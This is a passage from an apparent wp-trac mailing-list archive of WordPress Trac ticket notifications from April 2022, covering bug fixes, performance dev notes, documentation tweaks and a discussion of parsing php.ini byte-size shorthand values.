added. File to test empty IPTC -- Ticket URL: <https://core.trac.wordpress.org/ticket/54637> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 10:59:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 10:59:06 -0000 Subject: [wp-trac] [WordPress Trac] #54637: wp_read_image_metadata() sends `false` instead of `array` for `$iptc` and `$exif` parameters to `wp_read_image_metadata` filter In-Reply-To: <063.32fc93bcbf6777b6c94db4a37bb7688c@wordpress.org> References: <063.32fc93bcbf6777b6c94db4a37bb7688c@wordpress.org> Message-ID: <078.7a1799eb3628deb4e70528bf70286640@wordpress.org> #54637: wp_read_image_metadata() sends `false` instead of `array` for `$iptc` and `$exif` parameters to `wp_read_image_metadata` filter -------------------------------------+--------------------------- Reporter: volodymyrkolesnykov | Owner: mikeschroder Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: 5.8.2 Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: -------------------------------------+--------------------------- Changes (by mikeschroder): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53303" 53303]: {{{ #!CommitTicketReference repository="" revision="53303" Media: Ensure `wp_read_image_metadata` filter returns array for `$iptc` and `$exif`. Makes the behavior of the filter lines up with its documentation. Previously, both `$iptc` and `$exif` could return `false` when `exif_read_data()` or `iptcparse()` failed. Now, if those functions do not return an array, the results are explicitly set to `array()`. Props volodymyrkolesnykov, SergeyBiryukov, sabernhardt, sumitsingh, mikeschroder. Fixes #54637. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54637#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 13:09:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 13:09:43 -0000 Subject: [wp-trac] [WordPress Trac] #55628: Numerous console errors on Theme/Plugin File Editor screens and syntax highlighting not working In-Reply-To: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> References: <050.e7b7bf158f8902347544453b0fdcb00f@wordpress.org> Message-ID: <065.004ab57906979f943654cac256b06518@wordpress.org> #55628: Numerous console errors on Theme/Plugin File Editor screens and syntax highlighting not working --------------------------+------------------------- Reporter: ndiego | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: javascript --------------------------+------------------------- Comment (by ndiego): After some more testing, I have narrowed down the issue. If you have Beta 3 and the latest version of Gutenberg active, you should see the errors. If you have just Beta 3, you should see **no** errors. If you have 5.9.3 and the latest version of Gutenberg active, you should see **no** errors. So this appears to be an interaction between Gutenberg and Beta 3. If anyone else has an opportunity to test and confirm, that would be most appreciated. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55628#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 14:39:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 14:39:26 -0000 Subject: [wp-trac] [WordPress Trac] #55633: First sitemap has more URLs than expected with sticky posts In-Reply-To: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> References: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> Message-ID: <065.f7b8f0abfaf4b968ef5faa44da0b8e87@wordpress.org> #55633: First sitemap has more URLs than expected with sticky posts --------------------------+------------------------------ Reporter: RavanH | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Sitemaps | Version: 5.5 Severity: minor | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by pbiron): * Attachment "55633.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55633> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 14:41:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 14:41:14 -0000 Subject: [wp-trac] [WordPress Trac] #55633: First sitemap has more URLs than expected with sticky posts In-Reply-To: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> References: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> Message-ID: <065.a1ec099d06d5ffcbe3067858dc374e8a@wordpress.org> #55633: First sitemap has more URLs than expected with sticky posts -------------------------------------+------------------------------ Reporter: RavanH | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Sitemaps | Version: 5.5 Severity: minor | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+------------------------------ Changes (by pbiron): * keywords: => has-patch needs-testing Comment: [attachment:"55633.diff"] adds `'ignore_sticky_posts' => true` to the default args passed to `wp_sitemaps_posts_query_args`. @RavanH can you please test this patch (I've tested on a small "play" site but would be good to test on a larger, more realistic site). -- Ticket URL: <https://core.trac.wordpress.org/ticket/55633#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 14:42:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 14:42:22 -0000 Subject: [wp-trac] [WordPress Trac] #55633: First sitemap has more URLs than expected with sticky posts In-Reply-To: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> References: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> Message-ID: <065.00f65e70de5a6a4a90dab4cd9f4dd111@wordpress.org> #55633: First sitemap has more URLs than expected with sticky posts -------------------------------------+--------------------- Reporter: RavanH | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Sitemaps | Version: 5.5 Severity: minor | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+--------------------- Changes (by pbiron): * milestone: Awaiting Review => 6.1 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55633#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 15:48:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 15:48:55 -0000 Subject: [wp-trac] [WordPress Trac] #54511: Remove cache time limitation in WP_Term_Query In-Reply-To: <056.38bc778de1d761c0f2abb2ca4e174c2e@wordpress.org> References: <056.38bc778de1d761c0f2abb2ca4e174c2e@wordpress.org> Message-ID: <071.cdd52596432d738e46e5919c3013d398@wordpress.org> #54511: Remove cache time limitation in WP_Term_Query ------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.6 Severity: normal | Resolution: fixed Keywords: has-patch has-dev-note | Focuses: performance ------------------------------------+--------------------------- Changes (by spacedmonkey): * keywords: has-patch needs-dev-note => has-patch has-dev-note Comment: Has dev note - https://make.wordpress.org/core/2022/04/28/taxonomy- performance-improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/54511#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 15:50:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 15:50:08 -0000 Subject: [wp-trac] [WordPress Trac] #37189: In wp_term_query on cache ids In-Reply-To: <056.9cb46f772aefbfd9a9c1002a26f3bac6@wordpress.org> References: <056.9cb46f772aefbfd9a9c1002a26f3bac6@wordpress.org> Message-ID: <071.5736769e84392c51c38d48c77e25af7d@wordpress.org> #37189: In wp_term_query on cache ids -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.6 Severity: normal | Resolution: fixed Keywords: has-patch needs-testing has-unit- | Focuses: tests has-dev-note | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: has-patch needs-testing has-unit-tests commit => has-patch needs-testing has-unit-tests has-dev-note Comment: Has dev note - https://make.wordpress.org/core/2022/04/28/taxonomy- performance-improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/37189#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 15:51:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 15:51:25 -0000 Subject: [wp-trac] [WordPress Trac] #36949: Term exists should use get_terms internally In-Reply-To: <056.1a2e8f10898bbe1a60a5bf48d1b66f05@wordpress.org> References: <056.1a2e8f10898bbe1a60a5bf48d1b66f05@wordpress.org> Message-ID: <071.909dd960023d33954dac7b000d96b09e@wordpress.org> #36949: Term exists should use get_terms internally --------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 2.3 Severity: normal | Resolution: fixed Keywords: has-dev-note | Focuses: performance --------------------------+--------------------------- Changes (by spacedmonkey): * keywords: needs-dev-note => has-dev-note Comment: Has dev note - https://make.wordpress.org/core/2022/04/28/taxonomy- performance-improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/36949#comment:43> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 15:52:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 15:52:14 -0000 Subject: [wp-trac] [WordPress Trac] #55428: Improve cache priming in wp_get_nav_menu_items In-Reply-To: <056.daace05c4d79828512617a4516e19c3a@wordpress.org> References: <056.daace05c4d79828512617a4516e19c3a@wordpress.org> Message-ID: <071.91c3115256b03941e13f3fc73752bc85@wordpress.org> #55428: Improve cache priming in wp_get_nav_menu_items ------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Menus | Version: 3.0 Severity: normal | Resolution: fixed Keywords: has-patch has-dev-note | Focuses: performance ------------------------------------+--------------------------- Changes (by spacedmonkey): * keywords: has-patch => has-patch has-dev-note Comment: Has dev note - https://make.wordpress.org/core/2022/04/28/taxonomy- performance-improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55428#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 15:53:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 15:53:44 -0000 Subject: [wp-trac] [WordPress Trac] #55439: Introduce term_exists_args filter In-Reply-To: <050.1e2fd0dada12d898127a9c3f5d6417ed@wordpress.org> References: <050.1e2fd0dada12d898127a9c3f5d6417ed@wordpress.org> Message-ID: <065.3fbe16431af846eb0e555b711fe434bf@wordpress.org> #55439: Introduce term_exists_args filter ------------------------------------+--------------------------- Reporter: Chouby | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: trunk Severity: normal | Resolution: fixed Keywords: has-patch has-dev-note | Focuses: ------------------------------------+--------------------------- Changes (by spacedmonkey): * keywords: has-patch needs-dev-note needs-docs => has-patch has-dev-note Comment: Has dev note - https://make.wordpress.org/core/2022/04/28/taxonomy- performance-improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55439#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 15:55:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 15:55:30 -0000 Subject: [wp-trac] [WordPress Trac] #55372: Use tax_query in wp_get_nav_menu_items In-Reply-To: <056.12d558db7e95d8b127f9b8e74452a479@wordpress.org> References: <056.12d558db7e95d8b127f9b8e74452a479@wordpress.org> Message-ID: <071.742425072e5f9cd98a1553216acc2788@wordpress.org> #55372: Use tax_query in wp_get_nav_menu_items -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Menus | Version: 3.0 Severity: normal | Resolution: fixed Keywords: has-patch needs-unit-tests good- | Focuses: first-bug has-dev-note | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: has-patch needs-unit-tests good-first-bug => has-patch needs- unit-tests good-first-bug has-dev-note Comment: Has dev note - https://make.wordpress.org/core/2022/04/28/taxonomy- performance-improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55372#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 15:56:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 15:56:29 -0000 Subject: [wp-trac] [WordPress Trac] #55360: Add limit to query in WP_Tax_Query In-Reply-To: <056.8802a9742370e452f3944c3b15dd7b2a@wordpress.org> References: <056.8802a9742370e452f3944c3b15dd7b2a@wordpress.org> Message-ID: <071.fe574d07ef17db7bba7d9de2eb7bada7@wordpress.org> #55360: Add limit to query in WP_Tax_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: has-dev-note | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: has-patch has-unit-tests commit => has-patch has-unit-tests commit has-dev-note Comment: Has dev note - https://make.wordpress.org/core/2022/04/28/taxonomy- performance-improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55360#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 15:57:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 15:57:21 -0000 Subject: [wp-trac] [WordPress Trac] #55352: Improve cache key generation in WP_Term_Query In-Reply-To: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> References: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> Message-ID: <071.5c43e3037931edd122aa25d2d5e4d3a7@wordpress.org> #55352: Improve cache key generation in WP_Term_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: Keywords: has-patch has-unit-tests has-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: has-patch has-unit-tests needs-dev-note => has-patch has-unit- tests has-dev-note Comment: Has dev note - https://make.wordpress.org/core/2022/04/28/taxonomy- performance-improvements-in-wordpress-6-0/ -- Ticket URL: <https://core.trac.wordpress.org/ticket/55352#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 16:33:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 16:33:15 -0000 Subject: [wp-trac] [WordPress Trac] #55640: return type documented of Translation_Entry::key() method should be more precise Message-ID: <052.46a8430e5b52ec8fa6ba8ee44da0f0f1@wordpress.org> #55640: return type documented of Translation_Entry::key() method should be more precise -------------------------+----------------------------- Reporter: manooweb | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: has-patch Focuses: docs | -------------------------+----------------------------- According to its description and the method code @return type should be precise to false only. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55640> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 16:34:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 16:34:04 -0000 Subject: [wp-trac] [WordPress Trac] #55640: return type documented of Translation_Entry::key() method should be more precise In-Reply-To: <052.46a8430e5b52ec8fa6ba8ee44da0f0f1@wordpress.org> References: <052.46a8430e5b52ec8fa6ba8ee44da0f0f1@wordpress.org> Message-ID: <067.4b514dfa1df2ee2b5d2ec0f976165ee3@wordpress.org> #55640: return type documented of Translation_Entry::key() method should be more precise -------------------------+------------------------------ Reporter: manooweb | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs -------------------------+------------------------------ Changes (by manooweb): * Attachment "translation-entry-key-doc.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55640> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 16:37:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 16:37:44 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.9bc5e2746f811c119be6e9916c3a52f7@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` --------------------------------------------------+----------------------- Reporter: dlh | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Changes (by SergeyBiryukov): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53304" 53304]: {{{ #!CommitTicketReference repository="" revision="53304" Bootstrap/Load: Move some more administration-related hooks to `admin- filters.php`. Follow-up to [53266]. Fixes #54795. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 16:45:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 16:45:44 -0000 Subject: [wp-trac] [WordPress Trac] #55640: return type documented of Translation_Entry::key() method should be more precise In-Reply-To: <052.46a8430e5b52ec8fa6ba8ee44da0f0f1@wordpress.org> References: <052.46a8430e5b52ec8fa6ba8ee44da0f0f1@wordpress.org> Message-ID: <067.362db4da80e9c6adc23b99dd1ec967d6@wordpress.org> #55640: return type documented of Translation_Entry::key() method should be more precise -------------------------+--------------------- Reporter: manooweb | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: I18N | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs -------------------------+--------------------- Changes (by SergeyBiryukov): * component: General => I18N * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55640#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 16:51:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 16:51:28 -0000 Subject: [wp-trac] [WordPress Trac] #55640: return type documented of Translation_Entry::key() method should be more precise In-Reply-To: <052.46a8430e5b52ec8fa6ba8ee44da0f0f1@wordpress.org> References: <052.46a8430e5b52ec8fa6ba8ee44da0f0f1@wordpress.org> Message-ID: <067.c8943aaea88a30a925983e25a5b81b4a@wordpress.org> #55640: return type documented of Translation_Entry::key() method should be more precise -------------------------+----------------------------- Reporter: manooweb | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: I18N | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: docs -------------------------+----------------------------- Changes (by SergeyBiryukov): * owner: (none) => SergeyBiryukov * status: new => closed * resolution: => fixed Comment: In [changeset:"53305" 53305]: {{{ #!CommitTicketReference repository="" revision="53305" Docs: Make the `@return` tag for `Translation_Entry::key()` more precise. Props manooweb. Fixes #55640. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55640#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 17:09:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 17:09:42 -0000 Subject: [wp-trac] [WordPress Trac] #55633: First sitemap has more URLs than expected with sticky posts In-Reply-To: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> References: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> Message-ID: <065.9fd18f1cec00528a3ab89455b8bfc90a@wordpress.org> #55633: First sitemap has more URLs than expected with sticky posts --------------------------+--------------------- Reporter: RavanH | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Sitemaps | Version: 5.5 Severity: minor | Resolution: Keywords: has-patch | Focuses: --------------------------+--------------------- Changes (by RavanH): * keywords: has-patch needs-testing => has-patch Comment: Perfect! I can confirm that the patch works on a large site. :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55633#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 17:10:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 17:10:09 -0000 Subject: [wp-trac] [WordPress Trac] #55637: Remove consecutive whitespaces In-Reply-To: <054.150c69ce10f5c3a691672a047f848d69@wordpress.org> References: <054.150c69ce10f5c3a691672a047f848d69@wordpress.org> Message-ID: <069.9e0073d421de455823bf34ae23274c20@wordpress.org> #55637: Remove consecutive whitespaces ------------------------------+--------------------- Reporter: grandeljay | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: trivial | Resolution: Keywords: has-patch | Focuses: docs ------------------------------+--------------------- Changes (by SergeyBiryukov): * keywords: has-patch has-unit-tests => has-patch * component: Comments => Build/Test Tools * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55637#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 17:15:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 17:15:33 -0000 Subject: [wp-trac] [WordPress Trac] #55633: First sitemap has more URLs than expected with sticky posts In-Reply-To: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> References: <050.4583ee216dbc1416fbb31b0c57cfd0ac@wordpress.org> Message-ID: <065.5773bbe47bd4601326a59fb7817fbe0b@wordpress.org> #55633: First sitemap has more URLs than expected with sticky posts --------------------------+--------------------- Reporter: RavanH | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Sitemaps | Version: 5.5 Severity: minor | Resolution: Keywords: has-patch | Focuses: --------------------------+--------------------- Comment (by pbiron): Thanx @RavanH !!! @swissspidy I milestoned this for 6.1, since we're already in 6.0-beta phase. However, I then noticed that is was marked as a `bug`...so technically, it could still go into 6.0. I'll let you make that call. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55633#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 17:22:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 17:22:52 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.a9966e635682a5bdab4c8ae679b9fc35@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | Version: Severity: normal | Resolution: Keywords: needs-unit-tests has-patch dev- | Focuses: feedback changes-requested | -------------------------------------------------+------------------------- Comment (by dmsnell): @costdev there are examples in that linked docs standard to single-line docblock comments, so maybe I will undo my change that turned them into multi-line statements. that is, unless some tool is simply unaware of the guideline and naively replaces all single-line comments it sees into `//`. can you confirm if it's happening automatically or will it be okay if I move back from multi-line to single-line? > without the guard in place, there's the potential that a number of the 440 plugins out there may experience some breakages, depending on how they're using it. A cursory glance shows that in many cases, they seem to be correctly passing a string. That's a great tool! I manually reviewed all of the search results and confirmed that none are passing anything but the strings from `ini_get()` or other string values. Most of those search results are copying the Core code into non-admin contexts, which tells me that there's more good reason to do what @pento suggests and put this in another file, possibly `php- combat.php`. There were a few plugins that pass an optional defined string and so it's possible someone might `define(DEFAULT_SIZE, 15)` but there's no indication that this is happening. One plugin passes a default value of `100000kb` which unfortunately won't be what they think it is (the plugin is supposed to enable large uploads but it will limit uploads to 100K if it falls back to the default value). > Generally, it's discouraged to ignore rules, although I don't know of any strict rule against it. I don't personally find the multiline list distracting, but I appreciate that you do. I'll play around some with it. I'd ideally like to avoid solutions we know are adding unnecessary overhead just for the looks of the code (such as dynamically building the array or calling a function to get the value). I want this code to be lean since it's a fundamental-level operation, but at the same time we're not parsing these numbers frequently and hopefully this is never representative of the hot path, so some tradeoff in performance for readability is probably fine. > I think this change should go in a new function, rather than altering the behaviour of the existing function. originally I did this and having you say that makes me more confident to do that again. before building the patch for this ticket I figured it would be better to make a smaller change. > While the original intention of wp_convert_hr_to_bytes() was for quickly parsing PHP INI values, I suspect that it's often used for converting any "human readable" sizes to their integer equivalent (example). This is unfortunate and possibly we could let this function remain what it sounds like it does, but make it more robust over time. `10mb` represents 10 MiB in Core, but `10kg` represents 10 GiB, and `10gm` represents 10 MiB again. It's fairly surprising (to me) how it parses numeric descriptions. If we have something like `wp_ini_byte_size()` (or [https://github.com/php /php-src/pull/8454 `ini_bytes()`]) we can move all calls to `wp_convert_hr_to_bytes()` to that instead. On that note would it be worth instead depreciating `wp_convert_hr_to_bytes()` in an attempt to remove any such confusion over its use? That confusion being mostly that it did do something but we would want people moving forward to not use this for parsing `ini_get()` values. "If you want ini byte sizes use `wp_ini_bytes()`; if you want counts from byte descriptions use `wp_hr_bytes()`" Or maybe `size_parse()` or `size_bytes()` to mirror the language of `size_format()` > One other note, the function should support -1 (as an integer, not a string), as this is commonly used for the WP_MEMORY_LIMIT/WP_MAX_MEMORY_LIMIT constants. This and others (handling integer inputs) might be good and easy with a new file. I'm going to try and create a PR on `wordpress-develop` with this in mind and pick `wp-includes/php-compat.php` as the file name unless anyone has a better suggestion. Thanks all; hopefully we can make this a bit smoother with auto test runs by moving to GitHub -- Ticket URL: <https://core.trac.wordpress.org/ticket/55635#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 17:39:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 17:39:50 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.9f9c6edba0319b14b1c057005211c07a@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` --------------------------------------------------+----------------------- Reporter: dlh | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Comment (by antonvlasenko): Replying to [comment:14 SergeyBiryukov]: > I think there are a few more calls that can be safely moved for consistency, see [attachment:"54795.diff"]. In my pull request, I was more focused on hooks that definitely wouldn't work on the front end (because callback functions weren't available for them). Unfortunately, due to the time limit, it was not possible for me to manually check all ~400 hooks in the `default-filters.php` file. I only did some automated checks. Thank you for the extra effort on this task. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 19:23:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 19:23:27 -0000 Subject: [wp-trac] [WordPress Trac] #54833: Twenty Eleven: screen_icon() and get_current_theme() are deprecated In-Reply-To: <053.6933286b542e65c78a5c101fd302689f@wordpress.org> References: <053.6933286b542e65c78a5c101fd302689f@wordpress.org> Message-ID: <068.c6c1a3fc5ac668af7a5723b393a8bd17@wordpress.org> #54833: Twenty Eleven: screen_icon() and get_current_theme() are deprecated --------------------------------------+------------------------------ Reporter: Presskopp | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+------------------------------ Comment (by tomjdv): @viralsampat I think {{{get_current_theme()}}} is necessary when using child themes, where the name is not the same as the parent theme's name. I think it might be better to use the following snippet: {{{#!php <?php if ( $theme = get_option( 'current_theme' ) ) return $theme; return wp_get_theme()->get('Name'); }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54833#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 28 19:35:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 28 Apr 2022 19:35:48 -0000 Subject: [wp-trac] [WordPress Trac] #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values In-Reply-To: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> References: <051.0e86b39c715e63b6336d3ec6eab7e6cf@wordpress.org> Message-ID: <066.1f76c85264be581cb6bfbd9c83ace0da@wordpress.org> #55635: wp_convert_hr_to_bytes() report correct byte sizes for php.ini "shorthand" values -------------------------------------------------+------------------------- Reporter: dmsnell | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting | Review Component: Upload | 